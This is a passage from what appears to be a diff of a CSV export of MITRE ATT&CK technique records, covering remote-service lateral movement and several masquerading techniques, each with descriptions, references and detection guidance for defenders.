2016.', 'url': 'https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem'}, {'source_name': 'Medium Detecting WMI Persistence', 'description': 'French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Creation', 'Network Share: Network Share Access']",,"Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)",True,"['User', 'Administrator']",['Windows'],1.0,,['SMB enabled; Host/network firewalls not blocking SMB ports between source and destination; Use of domain account in administrator group on remote system or default system admin account.'],,,,, +attack-pattern,attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:23:26.059Z,2020-02-25T19:23:34.204Z,Remote Desktop Protocol,"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) -Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) technique for Persistence.(Citation: Alperovitch Malware)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1021/001', external_id='T1021.001'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/555.html', external_id='CAPEC-555'), ExternalReference(source_name='TechNet Remote Desktop Services', description='Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.', url='https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx'), ExternalReference(source_name='Alperovitch Malware', description='Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.', url='http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/')]",attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='lateral-movement')]",2020-02-25 19:23:34.204000+00:00,Remote Desktop Protocol,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Matthew Demaske, Adaptforward']","['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Creation']",,,,,"Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.",,,,,True,,,"['Remote Desktop Users', 'User']",['Windows'],,"['RDP service enabled, account in the Remote Desktop Users group']",,1.0 -2020-02-11 18:18:34.279000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers. +Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) technique for Persistence.(Citation: Alperovitch Malware)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1021/001', 'external_id': 'T1021.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/555.html', 'external_id': 'CAPEC-555'}, {'source_name': 'TechNet Remote Desktop Services', 'description': 'Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.', 'url': 'https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx'}, {'source_name': 'Alperovitch Malware', 'description': 'Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.', 'url': 'http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matthew Demaske, Adaptforward']","['Process: Process Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Logon Session: Logon Session Creation']",,"Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.",True,"['Remote Desktop Users', 'User']",['Windows'],1.0,,"['RDP service enabled, account in the Remote Desktop Users group']",,,,, +attack-pattern,attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-11T18:18:34.279Z,2021-10-19T03:18:43.648Z,Compromise Client Software Binary,"Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers. -Adversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1554', external_id='T1554')]",attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-03-27 14:49:58.249000+00:00,Compromise Client Software Binary,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['CrowdStrike Falcon OverWatch'],"['File: File Modification', 'File: File Creation', 'File: File Deletion', 'File: File Metadata']",,,,,"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. +Adversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1554', 'external_id': 'T1554'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['CrowdStrike Falcon OverWatch'],"['File: File Modification', 'File: File Creation', 'File: File Deletion', 'File: File Metadata']",,"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. -Consider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.",,,,,False,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-10 20:47:10.082000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. +Consider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.",False,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-10T20:47:10.082Z,2020-03-29T20:26:01.690Z,Space after Filename,"Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). -Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1036/006', external_id='T1036.006'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/649.html', external_id='CAPEC-649'), ExternalReference(source_name='Mac Backdoors are back', description='Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.', url='https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/')]",attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-29 20:26:01.690000+00:00,Space after Filename,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Erye Hernandez, Palo Alto Networks']",['File: File Metadata'],,,,,"It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.",,,,,True,,,['User'],"['Linux', 'macOS']",,,,1.0 -2020-02-10 20:43:10.239000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous. +Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1036/006', 'external_id': 'T1036.006'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/649.html', 'external_id': 'CAPEC-649'}, {'source_name': 'Mac Backdoors are back', 'description': 'Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.', 'url': 'https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Erye Hernandez, Palo Alto Networks']",['File: File Metadata'],,"It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.",True,['User'],"['Linux', 'macOS']",1.0,,,,,,, +attack-pattern,attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-10T20:43:10.239Z,2021-04-20T19:23:37.762Z,Match Legitimate Name or Location,"Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous. -Adversaries may also use the same icon of the file they are trying to mimic.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1036/005', external_id='T1036.005'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/177.html', external_id='CAPEC-177'), ExternalReference(source_name='Elastic Masquerade Ball', description='Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.', url='http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf'), ExternalReference(source_name='Twitter ItsReallyNick Masquerading Update', description='Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.', url='https://twitter.com/ItsReallyNick/status/1055321652777619457'), ExternalReference(source_name='Docker Images', description='Docker. (n.d.). Docker Images. Retrieved April 6, 2021.', url='https://docs.docker.com/engine/reference/commandline/images/')]",attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-20 19:23:37.762000+00:00,Match Legitimate Name or Location,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee']","['Image: Image Metadata', 'File: File Metadata', 'Process: Process Metadata']",['Application control by file name or path'],,,,"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. +Adversaries may also use the same icon of the file they are trying to mimic.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1036/005', 'external_id': 'T1036.005'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/177.html', 'external_id': 'CAPEC-177'}, {'source_name': 'Elastic Masquerade Ball', 'description': 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.', 'url': 'http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf'}, {'source_name': 'Twitter ItsReallyNick Masquerading Update', 'description': 'Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.', 'url': 'https://twitter.com/ItsReallyNick/status/1055321652777619457'}, {'source_name': 'Docker Images', 'description': 'Docker. (n.d.). Docker Images. Retrieved April 6, 2021.', 'url': 'https://docs.docker.com/engine/reference/commandline/images/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Yossi Weizman, Azure Defender Research Team', 'Vishwas Manral, McAfee']","['Image: Image Metadata', 'File: File Metadata', 'Process: Process Metadata']",['Application control by file name or path'],"Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) -In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.",,,,,True,,,,"['Linux', 'macOS', 'Windows', 'Containers']",,,,1.1 -2020-02-10 20:30:07.426000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones. +In containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.",True,,"['Linux', 'macOS', 'Windows', 'Containers']",1.1,,,,,,, +attack-pattern,attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-10T20:30:07.426Z,2021-10-18T13:24:52.618Z,Masquerade Task or Service,"Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones. -Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1036/004', external_id='T1036.004'), ExternalReference(source_name='TechNet Schtasks', description='Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.', url='https://technet.microsoft.com/en-us/library/bb490996.aspx'), ExternalReference(source_name='Systemd Service Units', description='Freedesktop.org. (n.d.). systemd.service — Service unit configuration. Retrieved March 16, 2020.', url='https://www.freedesktop.org/software/systemd/man/systemd.service.html'), ExternalReference(source_name='Palo Alto Shamoon Nov 2016', description='Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.', url='http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/'), ExternalReference(source_name='Fysbis Dr Web Analysis', description='Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.', url='https://vms.drweb.com/virus/?i=4276269')]",attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-04-24 13:24:45.580000+00:00,Masquerade Task or Service,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'Service: Service Metadata', 'Service: Service Creation', 'Scheduled Job: Scheduled Job Metadata', 'Scheduled Job: Scheduled Job Modification']",,,,,"Look for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",,,,,True,,,"['User', 'Administrator', 'SYSTEM']","['Windows', 'Linux']",,,,1.0 -2020-02-10 20:03:11.691000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke),"[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1036/003', external_id='T1036.003'), ExternalReference(source_name='LOLBAS Main Site', description='LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.', url='https://lolbas-project.github.io/'), ExternalReference(source_name='Elastic Masquerade Ball', description='Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.', url='http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf'), ExternalReference(source_name='F-Secure CozyDuke', description='F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.', url='https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf'), ExternalReference(source_name='Twitter ItsReallyNick Masquerading Update', description='Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.', url='https://twitter.com/ItsReallyNick/status/1055321652777619457')]",attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-11-23 17:03:38.941000+00:00,Rename System Utilities,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['File: File Modification', 'Process: Process Metadata', 'Command: Command Execution', 'File: File Metadata']",,,,,"If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-10 19:55:29.385000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver executable named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png. +Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1036/004', 'external_id': 'T1036.004'}, {'source_name': 'TechNet Schtasks', 'description': 'Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.', 'url': 'https://technet.microsoft.com/en-us/library/bb490996.aspx'}, {'source_name': 'Systemd Service Units', 'description': 'Freedesktop.org. (n.d.). systemd.service — Service unit configuration. Retrieved March 16, 2020.', 'url': 'https://www.freedesktop.org/software/systemd/man/systemd.service.html'}, {'source_name': 'Palo Alto Shamoon Nov 2016', 'description': 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.', 'url': 'http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/'}, {'source_name': 'Fysbis Dr Web Analysis', 'description': 'Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.', 'url': 'https://vms.drweb.com/virus/?i=4276269'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Service: Service Metadata', 'Service: Service Creation', 'Scheduled Job: Scheduled Job Metadata', 'Scheduled Job: Scheduled Job Modification']",,"Look for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",True,"['User', 'Administrator', 'SYSTEM']","['Windows', 'Linux', 'macOS']",1.1,,,,,,, +attack-pattern,attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-10T20:03:11.691Z,2020-11-23T17:03:38.941Z,Rename System Utilities,Adversaries may rename legitimate system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for system utilities adversaries are capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename rundll32.exe). (Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke),"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1036/003', 'external_id': 'T1036.003'}, {'source_name': 'LOLBAS Main Site', 'description': 'LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.', 'url': 'https://lolbas-project.github.io/'}, {'source_name': 'Elastic Masquerade Ball', 'description': 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.', 'url': 'http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf'}, {'source_name': 'F-Secure CozyDuke', 'description': 'F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.', 'url': 'https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163418/CozyDuke.pdf'}, {'source_name': 'Twitter ItsReallyNick Masquerading Update', 'description': 'Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019.', 'url': 'https://twitter.com/ItsReallyNick/status/1055321652777619457'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['File: File Modification', 'Process: Process Metadata', 'Command: Command Execution', 'File: File Metadata']",,"If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)",True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-02-10T19:55:29.385Z,2021-10-14T21:01:59.733Z,Right-to-Left Override,"Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique) -A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1036/002', external_id='T1036.002'), ExternalReference(source_name='Infosecinstitute RTLO Technique', description='Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019.', url='https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/'), ExternalReference(source_name='Trend Micro PLEAD RTLO', description='Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019.', url='https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/'), ExternalReference(source_name='Kaspersky RTLO Cyber Crime', description='Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019.', url='https://securelist.com/zero-day-vulnerability-in-telegram/83800/')]",attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-29 20:16:36.316000+00:00,Right-to-Left Override,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['File: File Metadata'],,,,,"Detection methods should include looking for common formats of RTLO characters within filenames such as \u202E, [U+202E], and %E2%80%AE. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it.",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-02-10 19:49:46.752000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017) +Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 